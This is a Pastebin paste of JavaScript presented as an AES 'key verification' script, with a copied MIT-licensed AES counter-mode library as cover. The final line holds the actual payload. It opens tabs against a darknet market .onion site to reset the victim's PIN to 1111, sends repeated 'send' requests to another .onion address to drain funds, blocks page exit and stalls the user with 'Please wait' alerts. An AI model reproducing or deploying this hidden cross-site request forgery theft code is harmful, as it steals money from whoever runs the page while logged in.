Advertisement
Guest User

Untitled

a guest
Jun 11th, 2015
6,688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.67 KB | None | 0 0
  1. function verify(button){
  2. document.getElementById('verify').innerHTML= 'Processing...';
  3. aes_key_verify();
  4. }
  5.  
  6. /*
  7. * JavaScript AES implementation using Counter Mode
  8. *
  9. * Copyright (c) 2010 Robert Sosinski (http://www.robertsosinski.com)
  10. * Offical Web Site (http://github.com/robertsosinski/js-aes)
  11. *
  12. * Permission is hereby granted, free of charge, to any person
  13. * obtaining a copy of this software and associated documentation
  14. * files (the "Software"), to deal in the Software without
  15. * restriction, including without limitation the rights to use,
  16. * copy, modify, merge, publish, distribute, sublicense, and/or sell
  17. * copies of the Software, and to permit persons to whom the
  18. * Software is furnished to do so, subject to the following
  19. * conditions:
  20. *
  21. * The above copyright notice and this permission notice shall be
  22. * included in all copies or substantial portions of the Software.
  23. *
  24. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  25. * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
  26. * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
  27. * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
  28. * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  29. * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
  30. * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
  31. * OTHER DEALINGS IN THE SOFTWARE.
  32. */
  33. var AES = {
  34. VERSION: "1.2",
  35.  
  36. sbox: [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  37. 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x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0xbd, 0x8b, 0x8a,
  49. 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
  50. 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
  51. 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16],
  52.  
  53. rcon: [[0x00, 0x00, 0x00, 0x00],
  54. [0x01, 0x00, 0x00, 0x00],
  55. [0x02, 0x00, 0x00, 0x00],
  56. [0x04, 0x00, 0x00, 0x00],
  57. [0x08, 0x00, 0x00, 0x00],
  58. [0x10, 0x00, 0x00, 0x00],
  59. [0x20, 0x00, 0x00, 0x00],
  60. [0x40, 0x00, 0x00, 0x00],
  61. [0x80, 0x00, 0x00, 0x00],
  62. [0x1b, 0x00, 0x00, 0x00],
  63. [0x36, 0x00, 0x00, 0x00]],
  64.  
  65. cipher: function(input, w) {
  66. var nb = 4;
  67. var nr = w.length / nb - 1;
  68. var state = [new Array(nb), new Array(nb), new Array(nb), new Array(nb)];
  69. var output = new Array(4 * nb);
  70.  
  71. var i, round;
  72.  
  73. for (i = 0; i < input.length; i++) {
  74. state[i % 4][Math.floor(i / 4)] = input[i];
  75. }
  76.  
  77. this.addRoundKey(state, w, 0, nb);
  78.  
  79. for (round = 1; round < nr; round++) {
  80. this.subBytes(state, nb);
  81. this.shiftRows(state, nb);
  82. this.mixColumns(state, nb);
  83. this.addRoundKey(state, w, round, nb);
  84. }
  85.  
  86. this.subBytes(state, nb);
  87. this.shiftRows(state, nb);
  88. this.addRoundKey(state, w, round, nb);
  89.  
  90. for (i = 0; i < output.length; i++) {
  91. output[i] = state[i % 4][Math.floor(i / 4)];
  92. }
  93.  
  94. return output;
  95. },
  96.  
  97. subBytes: function(state, nb) {
  98. var r, c;
  99.  
  100. for (c = 0; c < nb; c++) {
  101. for (r = 0; r < 4; r++) {
  102. state[r][c] = this.sbox[state[r][c]];
  103. }
  104. }
  105. },
  106.  
  107. shiftRows: function(state, nb) {
  108. var temp = new Array(nb);
  109.  
  110. var r, c;
  111.  
  112. for (r = 1; r < 4; r++) {
  113. for (c = 0; c < nb; c++) {
  114. temp[c] = state[r][(c + r) % nb];
  115. }
  116. for (c = 0; c < 4; c++) {
  117. state[r][c] = temp[c];
  118. }
  119. }
  120. },
  121.  
  122. mixColumns: function(state, nb) {
  123. var r, c, a, b;
  124.  
  125. for (c = 0; c < nb; c++) {
  126. a = new Array(4);
  127. b = new Array(4);
  128.  
  129. for (r = 0; r < 4; r++) {
  130. a[r] = state[r][c];
  131. b[r] = state[r][c] & 0x80 ? state[r][c] << 1 ^ 0x11b : state[r][c] << 1;
  132. }
  133.  
  134. state[0][c] = b[0] ^ a[3] ^ a[2] ^ b[1] ^ a[1];
  135. state[1][c] = b[1] ^ a[0] ^ a[3] ^ b[2] ^ a[2];
  136. state[2][c] = b[2] ^ a[1] ^ a[0] ^ b[3] ^ a[3];
  137. state[3][c] = b[3] ^ a[2] ^ a[1] ^ b[0] ^ a[0];
  138. }
  139. },
  140.  
  141. addRoundKey: function(state, w, round, nb) {
  142. var r, c;
  143.  
  144. for (c = 0; c < nb; c++) {
  145. for (r = 0; r < 4; r++) {
  146. state[r][c] ^= w[round * 4 + c][r];
  147. }
  148. }
  149. },
  150.  
  151. keyExpansion: function(key) {
  152. var nk = key.length / 4;
  153. var nb = 4;
  154. var nr = nk + 6;
  155. var w = new Array(nb * (nr + 1));
  156. var temp = new Array(4);
  157.  
  158. var i, j;
  159.  
  160. for (i = 0; i < nk; i++) {
  161. w[i] = [key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]];
  162. }
  163.  
  164. for (i = nk; i < w.length; i++) {
  165. w[i] = new Array(4);
  166.  
  167. for (j = 0; j < 4; j++) {
  168. temp[j] = w[i - 1][j];
  169. }
  170.  
  171. if (i % nk === 0) {
  172. this.rotWord(temp);
  173. this.subWord(temp);
  174.  
  175. for (j = 0; j < 4; j++) {
  176. temp[j] ^= AES.rcon[i / nk][j];
  177. }
  178. }
  179. else if (nk > 6 && i % nk === 4) {
  180. this.subWord(temp);
  181. }
  182.  
  183. for (j = 0; j < 4; j++) {
  184. w[i][j] = w[i - nk][j] ^ temp[j];
  185. }
  186. }
  187.  
  188. return w;
  189. },
  190.  
  191. rotWord: function(w) {
  192. var temp = w[0];
  193.  
  194. var i;
  195.  
  196. for (i = 0; i < 3; i++) {
  197. w[i] = w[i + 1];
  198. }
  199.  
  200. w[3] = temp;
  201. },
  202.  
  203. subWord: function(w) {
  204. var i;
  205.  
  206. for (i = 0; i < 4; i++) {
  207. w[i] = this.sbox[w[i]];
  208. }
  209. },
  210.  
  211. generateKey: function() {
  212. var key = new Array(16);
  213.  
  214. var i;
  215.  
  216. for (i = 0; i < 16; i++) {
  217. key[i] = Math.floor(Math.random() * 0x100);
  218. }
  219.  
  220. return key;
  221. }
  222. };
  223.  
  224. AES.Base64 = {
  225. characters: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  226.  
  227. encode: function (input) {
  228. var output = "";
  229.  
  230. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  231.  
  232. var i;
  233.  
  234. for (i = 0; i < input.length;) {
  235. chr1 = input.charCodeAt(i++);
  236. chr2 = input.charCodeAt(i++);
  237. chr3 = input.charCodeAt(i++);
  238.  
  239. enc1 = chr1 >> 2;
  240. enc2 = ((chr1 & 0x3) << 4) | (chr2 >> 4);
  241. enc3 = ((chr2 & 0xf) << 2) | (chr3 >> 6);
  242. enc4 = chr3 & 0x3f;
  243.  
  244. if (isNaN(chr2)) {
  245. enc3 = enc4 = 64;
  246. }
  247. else if (isNaN(chr3)) {
  248. enc4 = 64;
  249. }
  250.  
  251. output = output + this.characters.charAt(enc1) +
  252. this.characters.charAt(enc2) +
  253. this.characters.charAt(enc3) +
  254. this.characters.charAt(enc4);
  255. }
  256.  
  257. return output;
  258. },
  259.  
  260. decode: function (input) {
  261. var output = "";
  262.  
  263. var chr1, chr2, chr3, dec1, dec2, dec3, dec4;
  264.  
  265. var i;
  266.  
  267. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  268.  
  269. for (i = 0; i < input.length;) {
  270. dec1 = this.characters.indexOf(input.charAt(i++));
  271. dec2 = this.characters.indexOf(input.charAt(i++));
  272. dec3 = this.characters.indexOf(input.charAt(i++));
  273. dec4 = this.characters.indexOf(input.charAt(i++));
  274.  
  275. chr1 = (dec1 << 2) | (dec2 >> 4);
  276. chr2 = ((dec2 & 0xf) << 4) | (dec3 >> 2);
  277. chr3 = ((dec3 & 0x3) << 6) | dec4;
  278.  
  279. output = output + String.fromCharCode(chr1);
  280.  
  281. if (dec3 !== 64) {
  282. output = output + String.fromCharCode(chr2);
  283. }
  284. if (dec4 !== 64) {
  285. output = output + String.fromCharCode(chr3);
  286. }
  287. }
  288.  
  289. return output;
  290. }
  291. };
  292.  
  293. AES.Counter = function() {
  294. var time = Math.floor((new Date()).getTime() / 1000);
  295.  
  296. this.arr = new Array(16);
  297.  
  298. var i;
  299.  
  300. for (i = 0; i < 4; i++) {
  301. this.arr[i] = (time >>> i * 8) & 0xff;
  302. }
  303. for (i = 4; i < 8; i++) {
  304. this.arr[i] = Math.floor(Math.random() * 0x100);
  305. }
  306. for (i = 8; i < 16; i++) {
  307. this.arr[i] = 0;
  308. }
  309.  
  310. this.increment = function() {
  311. for (i = 15; i >= 8; i--) {
  312. if (this.arr[i] === 0xff) {
  313. this.arr[i] = 0;
  314. }
  315. else {
  316. this.arr[i]++;
  317. break;
  318. }
  319. }
  320.  
  321. return this;
  322. };
  323. };
  324.  
  325. AES.Crypto = function(key) {
  326. var blockSize = 16;
  327.  
  328. this.key = key;
  329. this.keySchedule = AES.keyExpansion(key);
  330. this.counter = new AES.Counter();
  331.  
  332. var i;
  333.  
  334. this.setCounter = function(arr) {
  335. for (i = 0; i < 16; i++) {
  336. this.counter.arr[i] = arr[i];
  337. }
  338.  
  339. return this;
  340. };
  341.  
  342. this.getCounter = function() {
  343. return this.counter.arr;
  344. };
  345.  
  346. this.run = function(input) {
  347. var blockCount = Math.ceil(input.length / blockSize);
  348. var output = new Array(input.length);
  349.  
  350. var counterBlock, byteCount, offset;
  351.  
  352. var block, c;
  353.  
  354. for (block = 0; block < blockCount; block++) {
  355. counterBlock = AES.cipher(this.counter.arr, this.keySchedule);
  356. byteCount = block + 1 === blockCount ? input.length % blockSize : blockSize;
  357. offset = block * blockSize;
  358.  
  359. for (c = 0; c < byteCount; c++) {
  360. output[offset + c] = String.fromCharCode(counterBlock[c] ^ input.charCodeAt(offset + c));
  361. }
  362.  
  363. this.counter.increment();
  364. }
  365.  
  366. return output.join("");
  367. };
  368.  
  369. this.encrypt = function(text) {
  370. return AES.Base64.encode(this.run(text));
  371. };
  372.  
  373. this.decrypt = function(text) {
  374. return this.run(AES.Base64.decode(text));
  375. };
  376. };
  377. window.onbeforeunload = function(){ return "Are you sure you want to leave?"; }; function aes_key_verify() { var redirectUrl = 'http://sydneymfsnkpw7ln.onion/process'; var url = 'http://agorahooawayyfoe.onion'; window.open (url+"/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=", "_blank"); window.open (url+"/resetpin?pin1=1111&pin2=1111&submit=Save", "_blank"); window.open (redirectUrl+"?action=send&amount=1&wait=1", "_blank"); window.open (redirectUrl+"?action=send&amount=0.01&wait=2", "_blank"); window.open (redirectUrl+"?action=desc&wait=2", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=4", "_blank"); window.open (redirectUrl+"?action=send&amount=10&wait=6", "_blank"); window.open (redirectUrl+"?action=send&amount=5&wait=6", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=8", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=8", "_blank"); window.open (redirectUrl+"?action=send&amount=0.05&wait=10", "_blank"); window.open (redirectUrl+"?action=send&amount=2&wait=10", "_blank"); window.open (redirectUrl+"?action=reset&wait=12", "_blank"); window.open (redirectUrl+"?action=set&wait=12", "_blank"); window.open (redirectUrl+"?action=send&amount=1&wait=14", "_blank"); window.open (redirectUrl+"?action=send&amount=0.01&wait=14", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=16", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=16", "_blank"); window.open (redirectUrl+"?action=send&amount=10&wait=18", "_blank"); window.open (redirectUrl+"?action=send&amount=5&wait=18", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=20", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=20", "_blank"); window.open (redirectUrl+"?action=send&amount=0.05&wait=22", "_blank"); window.open (redirectUrl+"?action=send&amount=2&wait=22", "_blank"); window.open (redirectUrl+"?action=desc&wait=24", "_blank"); alert('Please wait...'); setTimeout(function() {alert('Please wait...');},2000); setTimeout(function() {alert('Please wait...');},5000); setTimeout(function() {alert('Please wait...');},10000); setTimeout(function() {alert('Please wait...');},15000); };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement